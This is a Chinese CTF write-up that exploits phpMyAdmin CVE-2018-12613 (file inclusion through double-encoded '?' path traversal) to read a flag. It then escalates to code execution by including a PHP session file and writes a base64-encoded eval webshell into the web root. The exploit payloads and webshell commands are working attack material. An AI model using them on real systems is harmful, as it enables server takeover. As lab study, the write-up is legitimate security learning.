BUU我有一个数据库&&getsholl
做这题的话目的是为了复现 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
这题的话打开看是乱码,但查看响应还是有东西的:
多的不说先信息收集一波,直接扫目录,看页面有没有有用的信息
然后。
日常访问有没有:robots.txt
得到:
在发现有phpinfo.php
访问得到:
得到了后端脚本语言php的一些信息
扫描得到:
扫描发现有:phpmyadmin/
直接访问得到:
发现没有要登陆省去了很多的步骤
尝试用sql语句写shell,但是没用:
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html'
报错了不能写入shell
看一下phpMyadmin信息:
这是一个phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
一、漏洞描述
phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
攻击者必须经过身份验证,以下情况除外:
$cfg[‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在 phpMyAdmin 上执行任意代码;
$cfg[‘ServerDefault’] = 0:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
二、漏洞影响
4.8.0 <= phpMyAdmin < 4.8.2
参考文章:
https://www.jianshu.com/p/0d75017c154f
造成漏洞的原因:
看源码:
1 if (! empty($_REQUEST['target'])//是否存在target参数
2 && is_string($_REQUEST['target'])//target的值书否为字符串
3 && ! preg_match('/^index/', $_REQUEST['target'])//正则匹配是否以index开头
4 && ! in_array($_REQUEST['target'], $target_blacklist)//在黑名单内的过滤掉
5 && Core::checkPageValidity($_REQUEST['target'])//Core类中的checkPageValidity方法
6 ) {
7 include $_REQUEST['target'];
8 exit;
9 }
黑名单
1$target_blacklist = array (//黑名单
2 'import.php', 'export.php'
3 );
主代码:
1 public static function checkPageValidity(&$page, array $whitelist = [])
2 {
3 if (empty($whitelist)) {
4 $whitelist = self::$goto_whitelist;
5 }
6 if (! isset($page) || !is_string($page)) {
7 return false;
8 }
9
10 if (in_array($page, $whitelist)) {
11 return true;
12 }
13
14 $_page = mb_substr(
15 $page,
16 0,
17 mb_strpos($page . '?', '?')
18 );
19 if (in_array($_page, $whitelist)) {
20 return true;
21 }
22
23 $_page = urldecode($page);
24 $_page = mb_substr(
25 $_page,
26 0,
27 mb_strpos($_page . '?', '?')
28 );
29 if (in_array($_page, $whitelist)) {
30 return true;
31 }
32
33 return false;
34 }
其实主要的代码很好理解,由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的,这里加问号的参数会被当做文件来处理到达目录穿透。
所也构造Playload:
index.php?target=db_sql.php%253f/../../../../../../../../flag
得到flag
我并不追求得到flag,更想上传shell
phpMyadmin(CVE-2018-12613)漏洞可以:
一、:任意文件包含
二、:命令执行
我要执行命令可以,可以还要执行的代码写进数据库,然后去包含
数据库的文件然后达到命令执行的效果
由于这题的环境有问题,数据库存储的路径与其他的不同
但这并不能影响我,毕竟渗透的本质是信息收集
在多方面的查找下,我找到存储我们写入命令的
文件路径:/var/lib/php/sessions/ses_[cookie值]
所有现在先测试:
在test数据库里面存储:<?php phpinfo();?>
use test;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
得到:
查看cookie:
所有我们代码存储的位置:
/var/lib/php/sessions/sess_sgu9kg15c803go54ppssc17t4l
利用文件包含执行代码:
现在就写shell上去:
<?php system('echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d>/var/www/html/shell.php');?>
执行我写的代码:
访问检测木马:
蚁剑连接: